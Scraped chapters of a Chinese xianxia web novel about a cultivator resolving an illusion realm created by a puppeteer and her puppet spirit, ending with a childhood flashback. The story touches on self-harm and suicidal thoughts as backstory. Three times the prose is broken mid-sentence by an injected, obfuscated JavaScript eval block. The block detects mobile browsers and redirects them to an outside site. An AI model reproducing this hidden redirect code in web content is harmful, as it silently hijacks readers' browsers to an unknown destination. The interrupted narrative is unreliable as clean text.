“赵月,我可以护送你出去的。”江凝清道,“我既然在这里,那什么牛鬼蛇神说的都不算。”
赵月摇了摇头,只道:“多谢,但不必了。”
沉默很久的昭昭抬头看向赵月,望着那双和她类似的眼睛,道:“你是不是确实很喜欢这个幻境,所以才不愿意出去。”
赵月道:“你喜欢便好,我现在恢复意识了,你是不是又要扭转时间?先把他们送出去吧,村民们也放出去吧,不要再牵扯无辜者了。”
昭昭执拗道:“我不放,若是放了他们那幻境便一点都不真实了,你下一次会更快的醒过来。”
江凝清剑尖再次逼近昭昭,已经深入了她的皮肤。并没有渗出血来,而是露出了里面的木头材质。
江凝清道:“听赵月姑娘的话,把人都放了。”
赵月叹气道:“你又是何必如此呢?”
昭昭那双比赵月更偏黑色的眼睛盯着赵月,眼角下压,两条细眉蹙起,额头上的朱砂痣显得更加艳丽,道:“你为什么叹气。”
赵月细眉舒展,温声道:“你本就不应该为我准备这一切的,你若是想要成为一个真正的人类代替我生活,那直接给我说一声便好了,我并不执着于活着。”
昭昭丝毫不顾及脖子上的剑,听到她的这句话后情绪格外激动,用手扶着地面便要挣扎着站起来。
她还未起身一半便被赵月扶住,把她又按了下去。
昭昭倒在地上,本来白皙灵动的手指以肉眼可见的速度变成了木质,而后逐渐蔓延到身体的各个部位。
江凝清惊讶地看向赵月,依照刚刚她们的对话,不难分析出昭昭是赵月这个傀儡师做出的木偶傀儡,只是不知道遇到什么让昭昭生出执念变成鬼怪。
而这个秘境就是昭昭为了取代赵月而设立的,把赵月困在此处,自己成为真正的人。
可是……若是这样的话,何必又要在秘境里设定这么多人呢?
只是为了真实,不让赵月发现任何异样吗?
大概是如此,赵月毕竟是昭昭的主人,现在昭昭身上的木质化大概率是因为赵月,她能够轻而易举地压制昭昭。
但是在江凝清看向赵月的那一瞬间,她便知道并不是如此。
赵月眼睛睁大瞳孔紧缩,带着明显的错愕,她没想到昭昭会木质化。
她身体好似往前动了动,或许是有往前走的趋势的,只是还未真正移动便整个人消失在原地,连同一起消失的还有昭昭。
江凝清眨了眨眼睛,就在这么一瞬间,她回到了赵月的屋子。
她看着站在身边的桑榆,曲堪尘,撑着地面坐下的慕容歌还有……倒在地上昏迷不醒的钱孟楠,又看见了桌子上的宣纸。
她这才意识到并不是赵月和昭昭失踪了,而是他们几人回来了。
是赵月做的吗?
那其他人呢?江凝清的目的本来就是救人和给原身报仇,若是这样简简单单的出来,那还要找方法进去。
江凝清刚想要转身离开这里,便听到了一道脆生生的小女孩的声音:“你们是谁,为什么出现在赵月姐姐家里面?”
这个小姑娘江凝清在秘境里面见过,是一个很能吃糖葫芦的小女孩。
她比秘境里面瘦一些,不过看起来还算是健康。
江凝清道:“你不记得我吗,我是清清小姐。”
“你是在玩过家家吗?还清~清~小~姐,好幼稚,那我还是糖糖公主呢。”
江凝清:……
看来是完全不记得秘境里面的事情了。
这个叫糖糖的小姑娘道:“赵月姐姐真的不在家吗?我有急事找她。”
江凝清倚门道:“我是赵月姐姐的客人,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844314|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直接给我说就行。”
“真的吗?”糖糖将信将疑看着她,而后把下巴一抬道,“那你看着我的眼睛再说一遍,我就信你。”
这种事情江凝清信手拈来,她非常真诚道:“我和赵月算得上是生死之交的好朋友了,你把事情告诉我吧,我代为转达。”
糖糖手托下巴认真思考了一会:“好吧,我娘说现在日子和外面日子对不上,而且地都荒了,家里招了很多乱七八糟的老鼠蜘蛛。让我问问赵月姐姐发生什么事了,毕竟村里只有她一个人和这些鬼鬼神神的事情有点关系。”
江凝清道:“那你们村里有没有少人?”
“没有少人,除了赵月姐姐不在。”
那便是都救回来了。
江凝清展颜笑道:“那就好,人没事便好,造成是损失我会想办法尽量帮忙补上。”
她说的补损失并不算是善良泛滥,她清楚田间庄稼对普通人来说有多么重要。
而且已经过去十七年了,消息落后家里也没什么存量,若是不帮忙的话那江凝清救下来的这些人便很难活过第二年春天,那她不是白忙活了。
而且补偿他们这些东西对大部分修仙者来说也不过是举手之劳,虽然江凝清现在还没什么积蓄能够补偿,但不是还有曲堪尘吗?
就算曲堪尘不愿意,她可以向他借啊,等她发达了十倍还给他也行。如若再不行,等事情结束后让他多报复自己几次也是可以的。
好吧,确实是很善良。
江凝清心想,我可真是一个救苦救难的大好人啊,简直是惊天地泣鬼神般的好人。
江凝清安抚完小朋友后又进了屋子,抬眼便看到了一袭白衣的曲堪尘。
他黑白分明微微上挑的眼睛看着她,睫毛颤了颤,突然开口道:“给他们的补偿我来出吧,妖灵山上有挺多存粮的。”
江凝清见他主动提出揽下这个事,心里颇为欣慰,觉得自己瞬间摆脱了十倍的还款,于是高兴道:“好人,真是一个大好人啊,多谢了。”
曲堪尘垂眸道:“那你接下来……要去哪里?”
江凝清道:“当然是要先救人了,赵月还在里面呢,事情还没有结束啊。”
她扬眉问曲堪尘道:“你要在这里等着还是和我一同去救人?”
“我与你一起。”
江凝清下意识拍了拍他的肩膀,道:“好,那这把剑还是借我用用,到时候还给你。”
她抬手咬破自己指尖,一点血滴从她指腹显现出来,而后她抬手画符,一笔而行,手指上的血滴随着她的动作在空中留下痕迹,形成一个形状优雅的鬼画符。
最后一笔形成后,她眼前出现一道裂隙。
刚开始她不知道秘境是什么性质,便只能等秘境的门自己打开。现在去过一次,且曲堪尘在秘境的那招“拨雪寻春”让江凝清恢复了些许精力。
便足够让江凝清生生劈开那扇秘境的门了。
江凝清再次进入了秘境,不过这次她不是以清清小姐的身份了,而是以……
一只蟑螂的身份?
12. 傀儡村(12)
哈哈,螂的诱惑吗?
为什么这个秘境里面连一个人的名额都不能给她?
就连曲堪尘这种顶级美人,变成蟑螂也一样恶心。
江凝清默默离曲堪尘蟑螂远了些。
而变成蟑螂的曲堪尘一时也难以接受自己的身份,他茫然地看着自己的触须,又看着江凝清默默远离的动作,心里生出几分幽怨。
她只要他皮相好看的时候才愿意接近他,只要他不符合她的心意她就会远离他。
江凝清并不知道他蟑螂脑壳里面想的是什么乱七八糟的东西,她决定还是重开换一个身份,蟑螂实在是生理不适。
她闭上眼睛,再睁开眼睛的时候已经闭不上眼睛了。
她变成了一个木制傀儡,和她在这个村子里见到其他木偶相比,她算得上是粗制滥造,根本就动不了眼睛。
这个秘境竟然除了蟑螂没有别的活物可以让她附身。
不过江凝清这个角度刚好能完整的看到这个秘境里全貌。
这个秘境也是带着幻境性质的,不过和傀儡村那个秘境相比实在是太小了。
只有一个房间,是赵月的房间。
赵月的房间和在外面看到的并不完全一样,很多地方都有了些许改动,只有那种大配件没有动位置,让江凝清能够一眼认出来这里是哪里。
赵月正襟危坐在屋子南边的椅子上,背对着江凝清。
江凝清放出神识去看她。
赵月此时面容颇为稚嫩,看起来也不过十六七岁,头发懒懒散散地被随意扎了起来,身上也只穿着一件白色里衣,眼神却颇为专注地盯着手上的动作。
她的手上有几道划痕旧伤,大概是做木偶时不小心弄上的。
江凝清刚刚还在疑惑昭昭去了哪里,下一秒便不再疑惑,因为她看到了赵月手上的东西。
是一个木偶傀儡,一个颇为精致的傀儡,完成度极高,近五十个关节,手指脚趾均可动作,身材比例完全是一个缩小版的人体。
傀儡穿戴的绫罗珠钗花纹深浅各不相同,由于赵月目前来说毕竟清贫,所以这都是赵月自己一点点做出来的,首饰大部分是木雕涂上颜色,衣服便是赵月裁出来的。
她现在还在雕琢木偶的头发,几乎要把发丝一点点刻出来。
能明显看出来这个傀儡与江凝清这种粗制滥造的简直是云泥之别。
赵月现在技艺大概是并不怎么熟练,江凝清这种的才是她正常发挥的水平。而赵月手中的这个傀儡能雕刻成这个样子,必定耗费了她很大心血。
唯一的问题便是……这个傀儡的脸部是空白的。
赵月一直在雕刻,江凝清看得都有些无聊得要睡着了赵月却连眼睛都没有眨几下。
她认真雕刻木偶的时候与她平时那副内敛的样子截然不同,身上带着些少见的锐气与执着,以及不易被察觉到的喜爱与狂热。
过于纯粹了。
江凝清心想,怪不得慕容歌会对她一见如故,觉得她是个修仙的好苗子。
若是江凝清前世也见到了赵月这副样子,那她或许还要和慕容歌抢着要这号人物。
修仙要的就是这种心性,这种人只要根骨只要不是太差,便容易悟到大道。
赵月根骨一般,只是寻常人的水平,但这份心性加持下足够她高出别人一截了。
而慕容歌……他虽然心性也超脱常人,但根骨差地也超脱常人了。若不是他足够纯粹执着,就算慕容家砸遍天材地宝,他这辈子都不可能修仙。
不知道具体过去了多久,曲堪尘也放弃了蟑螂的身体,附身到了江凝清旁边的木偶身上,陪着江凝清一直等着。
江凝清用神识给曲堪尘传话:“你说昭昭创建这个秘境的用途又是什么呢?她都把所有人都放走了,却留着赵月一个人,让她在秘境里做傀儡。”
“我觉得并不像是要困住赵月。”曲堪尘道。
江凝清下意识想要弯眼一笑,然后发现自己根本动不了眼睛,只能作罢。
她继续传话:“而且你不觉得这个傀儡身形有些眼熟吗?”
“什么眼熟?”
“这个傀儡的身形比例和赵月一模一样啊。”
“或许是没有别人可以参考只能用自己的身形参考。”
江凝清道:“变成木偶后人也会变成木头脑袋吗?怎么我没有变?”
曲堪尘:……
江凝清道:“也和昭昭的身形一模一样啊。”
就在此时,赵月似乎终于完成了这个傀儡的创作,她揉了揉眼睛,松了口气。
而后她站起身来,绕着木偶转了一圈,眼睛盈盈地盛着笑意,又把木偶身上的衣服珠钗换了下来,从自己的身下的大柜子里找出了另一套装扮,给木偶人换上。
一件嫩鹅黄的襦裙穿到了木偶身上,江凝清想和曲堪尘对视一眼,而后再一次发现她现在根本动不了。
怎么总是忘记她现在其实是傀儡啊,难道变成傀儡之后脑子真的会变成木头吗?
她听到了曲堪尘的传音:“是那件衣服。”
是昭昭在秘境里穿的那身衣服。
此时赵月终于把木偶打扮完成,除了那张空白的脸,其他的和秘境里面的昭昭别无二致。
赵月带着笑意注视着木偶傀儡温声道:“宝宝,你好漂亮,我想想要不要给你取一个名字。”
她在房间里背手踱步了一会,自言自语小声纠结道:“我叫赵月,月亮夜晚才有,孤冷寂寞寓意并不好……日,叫日日好难听,换一个类似的吧,昭!那便叫昭昭了!昭昭天宇阔,也是一个好的意境。”
想到了一个好名字她有些兴奋,立刻想要把这个名字记下来,却不小心被桌子上的宣纸划破了右手手指,一点血刚巧不巧,便落在了傀儡的额头正中央。
赵月赶紧把傀儡身上滴得那一点血擦干净,但是还是有些来不及,血液已经渗透到木偶里面了。
赵月抿唇,兔子似的蹲在原地把无形的耳朵耷拉下来,整个人都陷入了一阵忧郁中。
“对不起昭昭,”她小声哽咽道,“我弄脏你了……”
江凝清道:“这便是昭昭诞生的过程吗?鬼怪遇执念而生,那执念是……被弄脏了?好记仇啊,这么点东西也能执念如此成为厉级别的鬼怪。”
曲堪尘被噎了一口气,三息后才道:“你才是木头脑袋。”
赵月还是个凡人,看不到一缕气从傀儡身上飘了出来,游荡在她的旁边。
那股气围绕着赵月转了一圈又一圈,最终又看了看自己的本体——也就是那个木偶傀儡,又看了看赵月,沉静了好久,而后慢慢化作了一个人形。
它的脸还是空白的样子,看起来有些诡异。
它又非常焦急地绕着赵月逛了一圈,最终脸上的形状也慢慢显现了出来,它变成了赵月的样子。
赵月还蹲在地上抱着自己的双腿苦丧着脸,忽然肩膀被轻轻拍了一下,她抬起头来,便看到了一张和自己一模一样的脸。
“不要伤心了,我不怪你的。”它道。
赵月被吓得往后挪了挪,顾不上什么伤心了,颤声道:“你……你是谁……”
它蹲了下来,对赵月露出一个友善的笑容:“我是昭昭啊,是昭昭,你看我穿的这些是不是你刚刚给我穿上的?我很喜欢吶,是你创造的我……呀你的手怎么还在流血啊,快去包扎!”
江凝清终于等到昭昭现身,于是从木偶上下来,自己捏了一个幻境中的身体附身过去。
这种幻境本来就是捏造的,存在于虚幻之上,所以在这里面捏造实体并不是很难。
她突然出现在昭昭身后,一手搭上昭昭的肩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844315|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
膀。
“现在玩够了吗?把你主人放了吧。”
昭昭被吓了一跳,下意识要回退两步,却发现自己摆脱不了江凝清的桎梏,于是圆眼瞪向江凝清,道:“你要干什么?”
江凝清扬眉道:“杀你。”
少女试探性地想要摆肩膀反抗,但是发现自己完全反抗不了,她在江凝清手下弱地像一只蝼蚁。
她还是试图求饶道:“我又没有做错什么,你凭什么杀我?我只是一个弱小又无助的小木偶啊,好姐姐放我一马!”
江凝清未说话。
于是昭昭看向江凝清,对上她那双含笑的眼睛,她虽然是笑着的,但眼里全然都是杀意。
昭昭第一次感受到了绝对力量差距下带来的恐惧。
她沉默一小会,也仅一小会,她便开口道:“那你杀了我,就不能杀她了。”
江凝清的手僵硬了一瞬,只觉得事情有些许不对劲。
还未等她理解这句话背后的含义,她便听到赵月的声音从背后传来:“清清仙长,这一次是我的秘境,和昭昭没有什么关系。”
江凝清瞳孔微缩,转身看向她。
赵月非常抱歉地低着头,道:“昭昭要完全木质化了,她把灵力传给了我一些。我……很担心,想要留住她,所以才制作了这个幻境,幻境是她最印象最深的记忆。”
她把幻境撤去,只留下几人在纯白空间里。
赵月道:“我很抱歉,昭昭确实是做的有许多不对的地方,她只是一个鬼怪,行为多少有些偏执,是我没有养好她。
她抬头看向江凝清,道:“我现在已经完全记起来了,之前这副身体的主人叫二丫吧,她是昭昭杀死的,所以你来为二丫姑娘报仇,我不清楚你们之间是什么关系,但是若是非要一命换一命的话……您还是要我的命吧,本来一切都是因我才产生的。”
江凝清沉默,曲堪尘站在江凝清身后,盯着江凝清翘起来的那一点头发。
此时昭昭已经恢复了神志,她身体虚弱地仿佛一阵风就能吹散,捂着胸膛撕心裂肺地咳嗽,一点都没有幻境中那副天真少女的样子了。
赵月下意识扶向她的肩膀,却被她恶狠狠地推开:“你又想把我推倒在地吗?”
赵月没有解释,只是温声道:“那你呢?你为什么莫名其妙把我关在秘境,为什么把不想干的人也关了进来,为什么又要……自杀?”
昭昭嘲讽地笑了一下,转头看向赵月,盯着她手臂上的旧伤,道“哈?一直要自杀的是谁?我问你,一直无所谓生死的是谁?”
她情绪有些激动,眼睛布满血丝,突然暴发挣脱了江凝清的桎梏,在众人未反应过来时便扑向了赵月,一手抓住她的肩膀,一手死死掐住赵月脖颈。
昭昭几乎嘶吼道:“你到底想要什么?你为什么不想活下去?为什么整天闷在屋子里,为什么会莫名其妙自残?所以我才给你设定了那个秘境啊!”
昭昭的语气已经带着些哭腔:“可是我给你设定了那么多幸福,把所有好的东西都放了进来,所有人都爱你喜欢你,所有人都善良温暖……你明明已经好了很多了,已经能够正常和别人交流了,但是你为什么还是能说出无所谓生死这种话?”
“我问你,你到底怎么样才可以幸福地活下去?”
江凝清突然意识到曲堪尘为什么叫她木头脑袋了,生昭昭的执念很明显不是所谓的记仇。
怪不得昭昭如此人性化,一来她是傀儡木偶,本来就趋于人,二来……她的执念并不是阴暗的情感,而是纯粹的爱意。
这种感情扭曲到一定程度,在特定条件下也容易生出鬼怪。
而这种感情的产生者……
江凝清看向赵月。
赵月因窒息紧皱着眉头,她哀伤地呢喃道:“可是你幸福便是我幸福啊。”
13. 傀儡村(完)
江凝清终于弄明白了到底发生了什么 。
他们进入的第一个幻境是昭昭设下的,村民和慕容歌都是她强行拽入戏中的。他们像提线木偶一样为赵月演着一场持续了十几年的戏码,一个让她顺风顺水,所有人都爱她的戏码。
昭昭所为的根本就不是代替赵月成为一个真正的人,她所做的一切的一切都是让赵月幸福地活下去。
至于其他人,并不在昭昭考虑范围之内。
这样一来,很多地方就说通了。
为什么那个幻境人人都安居乐业,为了给赵月一个好的生活环境。为什么神像是赵月的脸,因为所有人都爱她。为什么慕容歌会被关在地下室,因为昭昭以为赵月喜欢他。
只是慕容歌有些修为,并不是很好控制,所以只有大婚的时候他才会被放出来和赵月在一起。
江凝清看向赵月,她正被昭昭掐着脖子,脸色发白眉头紧锁,身体却没有什么挣扎。
江凝清心想,估计是快被掐死了,所以才不挣扎。
反倒是昭昭神色激动,一边掐着赵月脖子一边道:“你若是不幸福我又怎么感到幸福呢?赵月,我好痛苦……我好恨你,我恨死你了……赵月……”
她的话被打断了,因为江凝清砍断了她的胳膊。
平滑的木头截面渗出一点红色的鲜血,昭昭被江凝清拎住了脖颈,这次便是真的完全动作不了了。
“怎么一会说爱一会说恨的?”江凝清嘀咕道,她看向快被掐死的赵月,发现她脖子上连个掐痕都没有,于是又看向被她抓在手里放弃挣扎的昭昭,嘴角一勾道,“肌无力?”
江凝清另一只手高高抬起,刚想要打个响指释放剑气将昭昭杀死,便听到一声几乎失声的喊声:“不要!”
江凝清没管赵月如何,若是张二丫未被昭昭杀死,那她或许会手下留情一些。但现在已经有无辜的人死去,更何况她还欠了张二丫的情分,那她便不该替二丫原谅宽恕昭昭。
她动手前的万分之一秒,突然有一道力量弹开了她的手臂,江凝清一时不察被挡开,还是被中断了。
不是昭昭在挣扎,对赵月说完那些话之后她便已经全然没有了挣扎的意思,心如死灰地被江凝清拎着脖子,仿佛一具真正的尸体。
那道力量蛮大的,弄的江凝清手臂有些麻,也不像是赵月,赵月不过是个刚迈入练气阶段的……
啊不对……
江凝清抬头看天,发现一道紫光凝聚在天上,凝聚起滔天气势,霎时间往江凝清脚边劈过来。
是一道天雷。
怪不得手臂麻麻的。
到底是谁渡劫的天雷劈歪了啊,这个幻境也没有别的人了。
难道说赵月刚迈入练气阶段便要练气大圆满了吗?不可能吧,全天下也就江凝清她自己有这种惊天地泣鬼神的速度,她不是千年难遇的天才吗?
就在江凝清震惊的时候,曲堪尘赶紧把她拉到一边,没有让天雷再次劈到江凝清身上。
曲堪尘若是放出耳朵和尾巴的话估计身上的毛都要立起来了,他死死攥着江凝清的手,攥地有些疼。
江凝清瞥了眼自己的手,无所谓道:“只是练气的天劫而已,除了手臂有些麻没什么大事。”
曲堪尘冷笑一声甩开她的手,转头道:“我才不是关心你呢。”
江凝清认同地点了点头,毕竟他们是敌人嘛,等结束这个秘境之后就是你死我活的关系了。
她道:“现在最重要的是找出这到底是谁的天劫,不应该啊,现在秘境里面也就只有……”
就在刚刚劈过江凝清的地方,出现了一个人,是一个骨瘦伶仃的老者,穿着半旧道袍,双目用一黑布蒙住,脊背却挺得很直。
是张半仙。
他大概率是顺着江凝清劈开的那个缝隙爬进来的,那道天劫估计也是他的。
赵月看到张半仙进来后哑然一瞬,她不再试图上前阻止了,只是呆愣在原地,看着张半仙拿出一把半锈铁剑,把剑高高举起,一把插向昭昭胸膛。
这把铁剑不足以杀死昭昭,昭昭也并没有挣扎,她头歪了歪,看向赵月的方向,释然般地对她笑了笑。
天雷顺着这把铁剑同时劈到了张半仙和昭昭身上。
其实这不过是练气的雷劫,而昭昭是厉级别的鬼怪了,即使她负伤在身,这种程度的雷劫也劈不死昭昭。
反倒是张半仙,他的修为其实还不足够渡过这个雷劫,也不知道他用了什么方法,他强行引来了雷劫。
这已经是他能使用的威力最大的攻击方法了,不过甚至连玉石俱焚同归于尽都做不到。
所做的一切也不过是蚍蜉撼树螳臂挡车。
江凝清看出张半仙不过是在硬撑,她现在手上没有任何护阵的法宝,于是只能顺手掏进了曲堪尘的芥子囊里,把那个笛子拿了出来。
她堪堪放在嘴边,吹了一声极其难听的声音,连精通此道曲堪尘都没有听出来她到底吹得是哪一个招式。
声音像渴了七天的乌鸦飞了几百里地终于找到半瓶子水,吭吭哧哧把石子扔到水杯里在即将能够喝到水的时候不小心打翻了瓶子水全都洒了出来,于是发出啼血的哀嚎声。
曲堪尘心里再次感叹人为什么吹曲子能难听到这种程度,简直是呕哑嘲哳不堪入耳。
虽然江凝清吹得非常难听,但好在功法大差不差,发挥出来的效果也不错。
九道天雷劈下去之后,张半仙并没有什么太大的损伤,多亏了江凝清的曲子。
但昭昭死了。
按理来说不应该的,但她确实是死了,留下了一具焦黑的尸体。
那具尸体头还朝向赵月,嘴角甚至还保持着微微上挑的姿势。
赵月还静静地待在原地,过了许久,眼角才流下一滴泪水。
她走上前去,指尖一点点拂过她精雕细琢的作品,最后用手给昭昭合上了眼睛。
她蹲在地上看向张半仙,声音有些疲惫道:“抱歉,二丫姑娘的死也与我有些关系……您若是想要杀我报仇,我也不会反抗的。”
张半仙还没从自己没有被劈死这件事情缓过神来,他晃了晃脑袋,踉跄的从地上爬了起来,从趴在地上变成了坐在地上。
他狭小的眼睛扫了一眼赵月,道:“和你没有什么关系,你帮我们逃出去也是为我们好。”
赵月轻轻摇头,她轻声道:“并不是因为这件事情,昭昭能到现在这种地步都是我纵容的,是我对不起她,也对不起你们。”
她悲切道:“其实在那个幻境里,大部分时间我都是清醒的,我知道那是幻境,只是不愿意反抗她罢了。秘境外面那些傀儡都是我做的,目的是吓吓人,让别人远离这个地方……我没想到会牵扯到这么多人,也没想到她真的会杀人……而且她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844316|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做这件事情确实是完全为了我,她是被我逼成的这个样子。”
“是我的自残,给她留下了心理阴影。”
赵月一直以为自己的人生如一潭死水,她其实活在这个世界上根本就没有任何意义,不过是让世间多了一具行尸走肉罢了。直到十六岁之前,她一直如此以为的。
她性格内敛,并不爱与旁人交往,加上父母双亡,所以自然而然的被孤立。并不是带有恶意的孤立,没有人针对她,只是她融不进去别人罢了。
她自然而然想要一个人去拯救自己,那是一个什么人呢?大概是一个明媚的,充满朝气的小姑娘。
她设定了那个小姑娘的很多很多事情,她能够完全的爱她,把所有的期盼希望都寄托到了她身上。
那一天那个小姑娘活了过来,她给她取名叫昭昭,真好啊,她就应该叫这个名字。
赵月终于有人陪伴了,她也能感受到少女真诚的炽热的爱意,毕竟是她创造的人物,自然爱她。
在昭昭出现之后,她已经很少很少会有自我了断的想法了。但偶尔也会有。
她那天只是无聊了,看着落叶就想到了死亡,她下意识拿起修改木偶用的刀具,往自己手臂上划了一道。
具体怎么样她忘记了,大概并不算很疼。她只记得昭昭那双崩溃的绝望的眼睛。
赵月心想自己以后不要这么做了,昭昭会伤心的。
可是她还是改不了自己的想法,她在收到慕容歌信的那一天又一次想要自杀。
其实和慕容歌没有任何的关系,她只是突然间不想活了,她拿起刀,刚想要往自己手腕上割去,便被昭昭制止住了。
昭昭眼泪流地满脸都是,她抱臂失声痛哭,脊背一抽一抽的。
赵月其实在昭昭夺刀的那一刻就不想要结束生命了,仿佛刚刚也只是被魇住了。
但昭昭这次根本就不相信她说的话,在赵月再次醒来之后,她便到了秘境中。
至于慕容歌……她一直以来慕容歌只是被捏造出来的而已,毕竟他身份不低,昭昭一个人很难把他抓回来。
赵月以为昭昭讨厌她了,要把她困死在这个地方,自己取代她。
她顺从她的心意,只有在别人误入的时候反抗她。
“都是我的错……”赵月道。
江凝清拍了拍她的肩膀,道:“不是你的错,和你无关。你没有做错什么事情,若是实在愧疚,那就帮忙补偿一下村民们吧,村里的地已经荒废太久了,你做傀儡戏这么多年……大概是有不少积蓄吧。”
秘境撤去,赵月道:“村子里的损失就由我来补偿吧,多谢各位了。”
江凝清抱拳行了个礼,转身便对上了曲堪尘那双漂亮的眼睛。
啊……这次真的是一切事情都完成了,那之前互不偷袭的约法三章也该废除了。
江凝清对曲堪尘露出一个无害的笑容,指了指他后面,非常真诚地疑惑道:“你怎么来了?”
曲堪尘下意识回头看去,发现空无一人。
他转身,便看到江凝清消失在了原地,无影无踪。
曲堪尘抓着自己的衣角气急败坏深吸两口气才没有让自己咳出血来,同样的招数他已经上当过很多次了。
他们两个从第一个见面起,江凝清就开始骗他。
那时他才八岁,江凝清开始骗他了。
混蛋。
14.总角宴(1)
曲堪尘在他八岁的时候被赶出了家里,他那时还是小小的一只雪媚娘团子,像一只养在宅院里没有任何生存能力的幼猫。
他赶出家门后第一反应也只是蹲在墙角,茫然地抱着自己的膝盖。
过了好久才小声小声地哭泣,脊背细细地颤抖着,看上去好不可怜。
那时正值冬日,阳光都似乎有一层寒意,他虽然穿着棉服和一件有着白色毛毛的大氅,但仍然觉得冷。
而且眼泪落到脸上,湿漉漉的,被寒风一吹又冷又疼,一疼他便更想哭了,哭了又更疼了,整个人陷入了死循环。
于是他一直在墙角抽泣着,颤抖了半天。
在太阳升到最高处的时候,他的肩膀被人轻轻碰了碰,一个女孩的声音传来:“歪,是找不到爹娘了吗?”
女孩的声音脆生生的,尾音又微微上扬,带着些刻意的温柔,让人忍不住对她心生好感和亲切。
曲堪尘抬起头来,露出白皙的带着泪痕的小脸,他哭了太长时间了,一时说不出什么话来。
他看清了女孩的样子,女孩只穿着打着破旧补丁的单衣,头发被随意地用一根草绳扎了起来,脸上却很干净,微微上挑的桃花眼温柔缱绻,眸如远星,混着小孩子的纯真无暇,足够给大部分人好印象。
女孩温声道:“我在这一片比较熟悉,可以帮你找找大人,你先站起来吧,不要哭了。”
她朝曲堪尘伸出了一只手。
那只手上布满了茧子,还有冻疮和伤痕,是一只不该出现在一个小女孩身上的手。
曲堪尘擦了擦眼泪,把手搭在了女孩手上,被她拉了起来。
而后……他撞进了女孩的怀里。
女孩明明是和他一样大的年纪,甚至因为营养不良看起来比他还要小一些,却莫名让人感到安心。
女孩弯了弯眼睛道:“我去给你找爹娘,你在这里不要乱跑。”
说完这句话后她便小跑着离开了。
曲堪尘注视着女孩离开的背影,一直注视到她的背影完全消失在他的视角里。
他又抱着膝盖蹲下,眨了眨眼睛,望着女孩远去的方向。
而那个女孩……江凝清,已经跑了老远了。
她转了两个巷子才停了下来,在一个墙角处喘了口气,随后扬起笑来,往上抛了抛一个银钱袋子又伸手接住。
那是曲堪尘身上的钱袋。
江凝清嘴角上扬,从布袋里掏出一块凉透了的饼一边啃一边自言自语道:“今天运气真不错,这些碎银够花一段时间的了……那个小孩还挺漂亮的,不愧是大户人家的孩子,白得跟白面馒头一样。”
她三两口吃完了那个饼,而后又把那个钱袋子打开,发现里面其实并没有多少银钱,拎起来重是因为那里面装了好几块石头。
江凝清:……
专门戏弄她的吗?
她想了想那个小孩孤零零蹲在墙角的样子,感觉他大概是挑着好看的石头收集着玩的。
江凝清不觉得他会缺钱花,毕竟那一看就是个有钱人家的小少爷,只是那身衣服就足够让她眼馋了。
她找到河流边把自己的手和脸洗干净,她这种没爹没娘的流浪儿首先要保证自己看起来干净,要不然会被欺负的很惨的。
还好她娘给她了一张还不错的脸,让她活下去的概率增大不少,如果是丰年,仅仅凭借她这张不错的脸蛋和她惯于花言巧语的嘴……啊不,是一颗真诚的心,便可以白白地获取食物。
虽然有时候也会因为这张脸引来不少麻烦吧,但是她跑得足够快,整个镇子都没有一个人比她跑得快。她可是唯一一个能从好几只猎狗手下逃出生天的人。
江凝清觉得自己简直就是跑步的天才。
可惜今年收成不行,今年夏天的时候犯了旱灾,庄稼大片大片地干死在田地里,即使有仙人来帮忙作用也小的可怜。
大家都不好过,于是她的日子便更难过了。
没有什么杂活能让她干,也没有人施舍她,于是她为了活下去只能干一些偷鸡摸狗的事。
江凝清只偷有钱人的钱,一来是因为穷人已经足够艰难了,她偷的钱或许是人家的买命钱。二来……穷人手里也没什么钱。
她把这一小袋子银子藏好,就算里面混杂着不少石头,但是只要有一小小块的银子就足够她活一个月了。
江凝清挑出最小的一块银子,趁着没人去钱庄换了铜钱,又拿铜钱买了两个馒头。
干了一票大的,好好奖励奖励自己。
她狠狠地啃着馒头,而后在巷子里绕了一会儿,又去原地方想要看看那个男孩在不在。
一个优秀的猎人应该返回案发地点去看一看猎物情况。
江凝清想着那个小屁孩估计已经找到爹娘了,毕竟她走之前让他别乱跑。
他穿得金贵,长得也金贵,一看就知道是大户人家的小少爷,人贩子不会偷这种小孩子的,他们惹不起。
而这么小的小孩子走丢,爹娘肯定会急着找他。
这都过去大半天了,总不能还在那里蹲着吧……
?
怎么还在那里蹲着?
男孩缩成一团,把自己的脸埋在膝盖上面,乌黑的头发披散着整个后背,也随着后背颤抖。
啊……还在哭。
哭了这么长时间还没哭完吗?怎么跟个水娃娃一样?
江凝清站在远处纠结了一番,最终还是走上前去,拍了拍他的肩膀。
“你爹娘还没有来找你吗?”
曲堪尘抬起已经哭成泪人的脸,道:“我爹娘已经死了,我没见过他们。”
江凝清:……啊这。
“那你其他亲人呢?”
